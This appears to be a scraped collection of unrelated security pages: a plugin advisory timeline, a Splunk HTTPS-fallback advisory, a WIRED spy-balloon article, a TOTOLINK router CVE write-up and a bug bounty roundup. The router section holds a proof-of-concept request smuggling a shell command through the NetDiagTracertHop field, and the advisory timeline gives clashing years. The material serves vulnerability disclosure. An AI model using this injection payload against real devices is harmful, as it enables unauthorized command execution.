2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291  
2023-01-18: Sent initial notification to vendor via contact form  
2022-01-18: Vendor response  
2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability  
2022-02-08: Public disclosure

9. REFERENCES  
=============  
https://github.com/MrTuxracer/advisories

--  
Mit freundlichen Grüßen / With best regards / Atentamente

Julien Ahrens  
Freelancer | Penetration Tester

RCE Security  
VAT-ID: DE328576638  
Website: www.rcesecurity.com

This e-mail may contain confidential and/or privileged information.  
If you are not the intended recipient (or have received this e-mail in  
error) please notify the sender immediately and destroy this e-mail.  
Any unauthorized copying, disclosure or distribution of the material  
in this e-mail is strictly forbidden.

WordPress Quiz And Survey Master 8.0.8 Media Deletion

In Splunk Add-on Builder (AoB) versions below 4.1.2 and the Splunk CloudConnect SDK versions below 3.1.3, requests to third-party APIs through the REST API Modular Input incorrectly revert to using HTTP to connect after a failure to connect over HTTPS occurs. The vulnerability affects AoB and apps that AoB generates when using the REST API Modular Input functionality through its user interface. The vulnerability also potentially affects third-party apps and add-ons that call the *cloudconnectlib.splunktacollectorlib.cloud_connect_mod_input* Python class directly.

**Advisory ID:** SVD-2023-0213

**Published:** 2023-02-14

**Last Update:** 2023-02-14

**CVSSv3.1 Score:** 4.8, Medium

**Description**

In Splunk Add-on Builder (AoB) versions below 4.1.2 and the Splunk CloudConnect SDK versions below 3.1.3, requests to third-party APIs through the REST API Modular Input incorrectly revert to using HTTP to connect after a failure to connect over HTTPS occurs. The vulnerability affects AoB and apps that AoB generates when using the REST API Modular Input functionality through its user interface. The vulnerability also potentially affects third-party apps and add-ons that call _cloudconnectlib.splunktacollectorlib.cloud\_connect\_mod\_input_ directly.

**Solution**

For third-party apps and add-ons that include the Splunk CloudConnect SDK, upgrade the library to 3.1.3 or higher.

For customers that use AoB for custom apps, perform the following steps to update your app or add-on:

1.  Upgrade AoB to version 4.1.2 or higher. See Install the Add-on Builder User Guide for more information.
2.  Use AoB to edit and save the affected app. See Configure data collection using a REST API call for more information. It isn’t necessary to make changes to the app prior to saving it.
3.  Restart Splunk Enterprise.

If the custom app or add-on is also installed on instances without AoB, you must package the upgraded custom app or add-on, then install it on the instances. See Validate and Package and Package apps for more information.

For affected apps and add-ons that are already on SplunkBase, third-party developers must publish an updated version of the app or add-on to SplunkBase. For more information, see Publish apps for Splunk Cloud Platform or Splunk Enterprise to Splunkbase. Cloud-vetted apps are subject to the Cloud Vetting Change Policy.

Note: If the REST API Modular Input connects to a self-signed URL, that connection will fail. Where applicable, use a certificate authority (CA)-signed certificate for your app or add-on. As an alternative, to fix this error on apps and add-ons that are not on SplunkBase, overwrite the certificate at _$SPLUNK\_HOME/etc/apps/<ta\_name>/bin/<ta\_name>/aob\_py3/certifi/cacert.pem_ with the self-signed certificate. You cannot overwrite this certificate on apps or add-ons that you publish to SplunkBase.

**Product Status**

Product

Version

Component

Affected Version

Fix Version

Splunk Add-on Builder

4.1

cloudconnectlib

4.1.1 and lower

4.1.2

Splunk CloudConnect SDK

3.1

\-

3.1.2 and lower

3.1.3

**Mitigations and Workarounds**

As an alternative to updating your custom app, if the app does not use the REST API Modular Input functionality, delete the affected file at _$SPLUNK\_HOME/etc/apps/<ta\_name>/bin/<ta\_name>/aob\_py3/cloudconnectlib/core/http.py_. If the app uses the functionality, update the file or patch it with the file changes that appear in this pull request on the Splunk GitHub site.

**Detections**

None

**Severity**

Splunk rated the vulnerability as Medium, 4.8, with a CVSSv3.1 vector of CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N. The impact of the vulnerability might vary for each app or add-on. Where applicable, review your app or add-on and rate its vulnerability based on whether it uses the vulnerable functionality and what data the modular input sends or receives.

**Acknowledgments**

Chris Green

CVE-2023-22943: Modular Input REST API Requests Connect via HTTP after Certificate Validation Failure in Splunk Add-on Builder and Splunk CloudConnect SDK

A popular military tool during the Cold War, spy balloons have since fallen out of favor—for good reason.

On Friday, United States secretary of state Antony Blinken said he was canceling a high-profile diplomatic visit to Beijing following the discovery of a large, high-altitude Chinese balloon that has been drifting over the US this week. The Chinese Ministry of Foreign Affairs said in a statement on Friday that the airship is an off-course weather balloon and has denied that it is an espionage tool. A senior US Department of Defense official told reporters on Thursday, though, that “clearly the intent of this balloon is for surveillance.”

Spy balloons are a historic technology and were widely utilized before the development of low-Earth and geosynchronous satellites, including extensive use in the 1950s by the US during the Cold War. But these days, their use has largely fallen out of favor. Spy balloons have some advantages over satellites. They are cheap to deploy, fly relatively close to their targets, and can continuously monitor a location for longer stints. But balloons have weight restrictions, which also limit how powerful and diverse their onboard sensors can be. And unlike satellites, which are out of sight and out of mind for people on Earth, the situation currently playing out with the Chinese balloon illustrates the biggest limitation of surveillance balloons. 

“You may have noticed that this balloon has caused a massive international incident, and it’s got everyone looking at China and demanding that the US government do something. In terms of surveillance, this is the kind of attention you don't want,” says Brynn Tannehill, a RAND Corporation senior technical analyst and a former naval aviator. “My assessment is that the advantages a balloon offers versus the amount of unwanted attention it creates—I can't answer why the Chinese did this. It attracts ill will.”

Sensor-equipped balloons have onboard steering capabilities but are transported by wind currents. US officials said on Thursday that the spy balloon was floating above commercial air traffic at roughly 60,000 feet and that it does not pose a threat to people or activity on the ground. The senior DOD official noted that the balloon is big enough to cause a potentially dangerous debris field if the US shot down the balloon over an inhabited area. The official added that the military considered taking kinetic action on Wednesday while the balloon was moving over “sparsely populated areas in Montana,” but concluded that the risks weren't low enough. RAND's Tannehill points out that an additional risk of such an operation is that the missile aimed at the balloon will miss “and now you’ve created an even bigger problem,” she says.

Brigadier General Pat Ryder, the Pentagon press secretary, said on Thursday that, "instances of this kind of balloon activity have been observed previously over the past several years. Once the balloon was detected, the US government acted immediately to protect against the collection of sensitive information."

Reports increasingly indicate that the vehicle is part of a broader Chinese spy balloon initiative, and the senior DoD official said of spy balloon US flyovers on Thursday that “it has happened a handful of other times over the past few years, to include before this administration.” The current incident has apparently been the most visible to the US public, though.

Consistently deploying spy balloons is a strategy that the US and other countries may not be fully prepared to counter given that balloons have been less popular as espionage tools in recent decades. The senior Defense Department official said on Thursday, though, “We assess that this balloon has limited additive value from an intelligence-collection perspective” versus what China could get from satellite imagery. Still, the balloon has flown near a few US military bases and other sensitive sites. 

Tannehill says that countersurveillance measures for spy balloons would typically include physically moving equipment or personnel out of sight, rearranging equipment, and if possible, jamming the balloon's sensors.

The Defense Department declined WIRED's request to elaborate on the steps it took to prevent espionage activities.

“The fact is we know that it's a surveillance balloon, and I'm not going to be able to be more specific than that,” Brigadier General Pat Ryder said in additional remarks to reporters on Friday. “And we do know that the balloon has violated US airspace and international law, which is unacceptable. And so we've conveyed this directly to the PRC at multiple levels.” 

The Chinese Ministry of Foreign affairs said of the balloon: “The Chinese side regrets the unintended entry of the airship into US airspace due to force majeure. The Chinese side will continue communicating with the US side and properly handle this unexpected situation.”

But even with this concession, the extremely public nature of the incident can only exacerbate tensions between the US and China. As RAND's Tannehill puts it, “It’s tough to pretend the spying isn’t happening when it’s floating over Kansas City and regular people are like, ‘Oh look, it’s the Chinese spy balloon.’”

The Chinese Spy Balloon Shows the Downsides of Spy Balloons

TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagTracertHop parameter in the setNetworkDiag function.

Permalink

Cannot retrieve contributors at this time

**TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagTracertHop parameter in the function setNetworkDiag****Description**

TOTOLINK Router **CA300-PoE V6.2c.884** was found to contain a command injection vulnerability in setNetworkDiag.

******Firmware information**

*   Manufacturer's address:https://www.totolink.net/
*   Firmware download address : https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/139/ids/36.html

**Affected version**

**Version: V6.2c.884**

**Vulnerability details**

POC1:

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.254
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 100
    Origin: http://192.168.0.254
    Connection: keep-alive
    Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
    Cookie: SESSION_ID=2:1673492439:2
    
    {"topicurl" :"setting/setNetworkDiag","NetDiagMethod" : "1", "NetDiagTracertHop": "20||ls;"}
    

The function setNetworkDiag is used to set the corresponding variable

In function showNetworkDiag

step into function getDiagInfo，V11 is the value of system.NetDiag.method

CVE-2023-24143: CVE-vulns/setNetworkDiag_NetDiagTracertHop.md at main · Double-q1015/CVE-vulns

New web targets for the discerning hacker

Adam Bannister 31 January 2023 at 15:13 UTC  
Updated: 31 January 2023 at 15:23 UTC

New web targets for the discerning hacker

A bypass of Facebook’s SMS-based two-factor authentication (2FA) made it into Meta’s most impressive bug bounty finds of 2022.

However, it seems Facebook’s parent company initially didn’t fully appreciate the vulnerability, offering a $3,000 bounty before eventually revising the reward upwards to $27,200.

“Since there was no rate limit protection at all while verifying any contact points – email or phone – an attacker just knowing the phone number could add the victim’s 2FA-enabled phone number in his or her Instagram-linked Facebook account,” security researcher Manoj Gautam told The Daily Swig.

In other bug bounty news this month, a hacker duo documented Google Cloud Platform (GCP) research that resulted in six payouts totalling more than $22,000.

The most lucrative find for Sreeram KL and Sivanesh Ashok led to a double $5,000 reward for a server-side request forgery (SSRF) bug and subsequent patch bypass in machine learning platform Vertex AI.

Outlined across four blog posts, their bug bounty exploits also included an SSH key injection issue in Google Cloud’s Compute Engine and flaws in Theia and Cloud Workstations.

Cross-origin resource sharing (CORS) misconfigurations were the focus of a third bug bounty writeup covered by The Daily Swig this month.

Exploits fashioned for multiple private programs – notably including Tesla – earned Truffle Security researchers a “few thousand dollars” and vindicated their hypothesis that “large internal corporate networks are exceedingly likely to have impactful CORS \[cross-origin resource sharing\] misconfigurations”.

Fresh hacking opportunities on the horizon, meanwhile, include The US Department of Defense (DoD)’s third annual Hack The Pentagon challenge and the Zero Day Initiative’s (ZDI’s) inaugural Pwn2Own Automotive, slated for January 2024.

**The latest bug bounty programs for February 2023**

The past month saw the arrival of several new bug bounty programs. Here’s a list of the latest entries:

**8x8**

**Program provider:  
**HackerOne

**Program type:  
**Public

**Max reward:  
**$1,337

**Outline:  
**The US provider of business communication technologies has invited hackers to probe its websites, mobile apps, and services such as Jitsi, its open source video meeting software.

**Notes:  
**Despite the relatively modest top bounty on offer, 8x8 has already paid out more than $90,000 in bounties within a month of its launch.

Check out the 8x8 bug bounty page for more details

**Hedera Hashgraph**

**Program provider:  
**HackerOne

**Program type:  
**Public

**Max reward:  
**$30,000

**Outline:  
**Hedera Hashgraph describes itself as “a responsibly governed decentralized network”, with the Hedera Governing Council comprising “enterprises, web3 projects, and prestigious universities”.

**Notes:  
**There are seven assets in scope including services and mirror node codebases, Java and JavaScript SDKs, testnet API endpoints, and testnet mirror node APIs.

Check out the Hedera Hashgraph bug bounty page for more details

**Hyperlane**

**Program provider:  
**Immunefi

**Program type:  
**Public

**Max reward:  
**$2.5 million

**Outline:  
**Hyperlane describes itself as a modular interoperability platform, empowering developers to build interchain applications, apps that can easily and securely communicate between blockchains.

**Notes:  
**The life-changing maximum reward is on offer for critical bugs on smart contracts, whereas application flaws can command payouts of up to $20,000.

Check out the Hyperlane bug bounty page for more details

**Kiwi.com**

**Program provider:  
**HackerOne

**Program type:  
**Public

**Max reward:  
**$5,000

**Outline:  
**Czech online travel agency Kiwi.com provides a fare aggregator, metasearch engine, and booking function for airline tickets and ground transportation.

**Notes:  
**In-scope targets include the main website, kiwi.com; tequila.kiwi.com; jobs.kiwi.com; source code; APIs and internal tools; and mobile applications.

Check out the Kiwi.com bug bounty page for more details

**Net+**

**Program provider:  
**GObugfree

**Program type:  
**Mix of public and private

**Max reward:  
**CHF5,000 ($5,389)

**Outline:  
**Netplus.ch, which provides internet, telephony, and TV services to more than 220,000 users in Switzerland, is paying between CHF 2,000-5,000 for critical bugs.

**Notes:  
**New targets are initially restricted to the private program for a period of initial testing, before being opened up to the broader hacking community within the public program.

Check out the Net+ private and public bug bounty pages for more details

**Open-Xchange (OX) App Suite**

**Program provider:  
**YesWeHack

**Program type:  
**Public

**Max reward:  
**€5,000 ($5,430)

**Outline:  
**Open-Xchange’s OX App Suite is an open source email and productivity suite that purports to favor security by default rather than security through obscurity.

**Notes:  
**Open-Xchange, hitherto a HackerOne client, has migrated its bug bounty programs to YesWeHack. CISO Martin Heiland recently discussed the hacking opportunities on offer with the Paris-based platform.

Check out the OX App Suite bug bounty page for more details

**Open-Xchange Dovecot**

**Program provider:  
**YesWeHack

**Program type:  
**Public

**Max reward:  
**€5,000 ($5,430)

**Outline:  
**Dovecot is Open-Xchange’s IMAP, POP3, and submission server for email, used within multiple operating systems and by “millions of operators”.

**Notes:  
**Open-Xchange, hitherto a HackerOne client, has migrated its bug bounty programs to YesWeHack. CISO Martin Heiland recently discussed the hacking opportunities on offer with the Paris-based platform.

Check out the Dovecot bug bounty page for more details

**Open-Xchange PowerDNS**

**Program provider:  
**YesWeHack

**Program type:  
**Public

**Max reward:  
**€5,000 ($5,430)

**Outline:  
**PowerDNS is a DNS server that enables domain resolution and network security features.

**Notes:  
**Open-Xchange, hitherto a HackerOne client, has migrated its bug bounty programs to YesWeHack. CISO Martin Heiland recently discussed the hacking opportunities on offer with the Paris-based platform.

Check out the PowerDNS bug bounty page for more details

**S-Pankki**

**Program provider:  
**HackerOne

**Program type:  
**Public

**Max reward:  
**$4,000

**Outline:  
**The Finnish bank is offering up to $4,000 for critical vulnerabilities, $2,000 for high severity flaws, and $1,000 for medium severity bugs.

**Notes:  
**There are 11 assets in scope, including nine domains plus iOS and Android mobile applications.

Check out the S-Pankki bug bounty page for more details

**Superbet**

**Program provider:  
**HackerOne

**Program type:  
**Public

**Max reward:  
**$2,000

**Outline:  
**The Romanian online gaming company is offering a maximum of $2,000 for critical bugs, $1,000 for high severity issues, and $250 for medium impact vulnerabilities.

**Notes:  
**Just the one asset in scope: the.superbet.ro domain.

Check out the Superbet bug bounty page for more details

**Swiss Bankers**

**Program provider:  
**GObugfree

**Program type:  
**Private

**Max reward:  
**Undisclosed

**Outline:  
**Swiss Bankers is a financial services firm specializing in prepaid credit cards, mobile payment, and money transfer.

**Notes:  
**Hackers can participate by invitation only.

Check out the Swiss Bankers bug bounty page for more details

**Threema (Enhanced)**

**Program provider:  
**GObugfree

**Program type:  
**Public

**Max reward:  
**CHF10,000 ($10,778)

**Outline:  
**Swiss instant messenger service Threema has upped maximum payouts from CHF4,000 ($4,311) To CHF10,000 ($10,778) after launching the program in May 2022.

**Notes:  
**This news comes after the privacy-focused software disputed claims that there were several security flaws in its encrypted messaging platform.

Check out the Threema bug bounty page for more details

**TRON DAO**

**Program provider:  
**HackerOne

**Program type:  
**Public

**Max reward:  
**$5,000

**Outline:  
**TRON DAO is an open source platform for creating decentralized applications, new financial primitives, and interoperable blockchains.

**Notes:  
**TRON’s Java source code is currently the sole asset in scope.

Check out the TRON DAO bug bounty page for more details

**Wato-soft**

**Program provider:  
**GObugfree

**Program type:  
**Private

**Max reward:  
**Undisclosed

**Outline:  
**Swiss IT services firm specializing in Enterprise resource planning (ERP) software.

**Notes:  
**Hackers can participate by invitation only.

Check out the Wato-Soft bug bounty page for more details

**Other bug bounty and VDP news this month**

*   An Amazon virtual hacking event with HackerOne was the platform’s highest paying virtual event ever, with more than 50 security researchers collectively earning $832,135. The 10-day hackathon’s overall winner was @jonathanbouman, while ‘Best Team Collaboration’ went to ‘spacebaffoons’ @the\_arch\_angel, @spaceraccoon, and (one time Daily Swig interviewee) @ajxchapman
*   As referenced in our latest Deserialized roundup, Intigriti has flagged a Belgium-wide safe harbor clause in the country’s proposed whistleblower law, and a New Scientist feature on a mathematical means of demonstrating valid exploits without risking public disclosure
*   Finally, YesWeHack has penned a how-to on using Burp Suite extension Highlighter And Extractor (HaE) to surface vulnerabilities via regular expressions

PREVIOUS EDITION Bug Bounty Radar // The latest bug bounty programs for January 2023

Tag

#acer